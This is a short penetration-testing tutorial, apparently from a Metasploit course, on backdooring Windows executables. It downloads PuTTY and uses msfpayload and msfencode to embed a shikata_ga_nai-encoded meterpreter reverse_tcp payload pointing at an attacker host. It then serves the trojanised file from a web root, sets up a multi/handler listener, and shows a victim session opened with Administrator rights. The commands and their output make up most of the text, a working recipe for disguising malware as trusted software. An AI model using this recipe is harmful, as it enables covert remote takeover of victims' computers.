Backdooring EXE Files
Creating customized backdoored executables often took a long period of time to do manually as attackers. The ability to embed a Metasploit Payload in any executable that you want is simply brilliant. When we say any executable, it means any executable. You want to backdoor something you download from the internet? How about iexplorer? Or explorer.exe or putty, any of these would work. The best part about it is its extremely simple. We begin by first downloading our legitimate executable, in this case, the popular PuTTY client.
root@kali:/var/www# wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe --2011-02-05 08:18:56-- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe Resolving the.earth.li... 184.108.40.206 Connecting to the.earth.li|220.127.116.11|:80... connected. HTTP request sent, awaiting response... 302 Found Location: http://the.earth.li/~sgtatham/putty/0.60/x86/putty.exe [following] --2011-02-05 08:18:57-- http://the.earth.li/~sgtatham/putty/0.60/x86/putty.exe Reusing existing connection to the.earth.li:80. HTTP request sent, awaiting response... 200 OK Length: 454656 (444K) [application/x-msdos-program] Saving to: `putty.exe' 100%[==================================================================================================================================================================================================>] 454,656 138K/s in 3.2s 2011-02-05 08:19:00 (138 KB/s) - `putty.exe' saved [454656/454656] root@kali:/var/www#
Next, we use msfpayload to inject a meterpreter reverse payload into our executable and encoded it 3 times using shikata_ga_nai and save the backdoored file into our web root directory.
root@kali:/var/www# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /var/www/putty.exe -o /var/www/puttyx.exe [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 344 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 371 (iteration=3) root@kali:/var/www#
Since we have selected a reverse meterpreter payload, we need to setup the exploit handler to handle the connection back to our attacking machine.
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.101 LHOST => 192.168.1.101 msf exploit(handler) > set LPORT 443 LPORT => 443 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.1.101:443 [*] Starting the payload handler...
As soon as our victim downloads and executes our special version of PuTTY, we are presented with a meterpreter shell on the target.
[*] Sending stage (749056 bytes) to 192.168.1.201 [*] Meterpreter session 1 opened (192.168.1.101:443 -> 192.168.1.201:1189) at Sat Feb 05 08:54:25 -0700 2011 meterpreter > getuid Server username: XEN-XP-SPLOIT\Administrator meterpreter >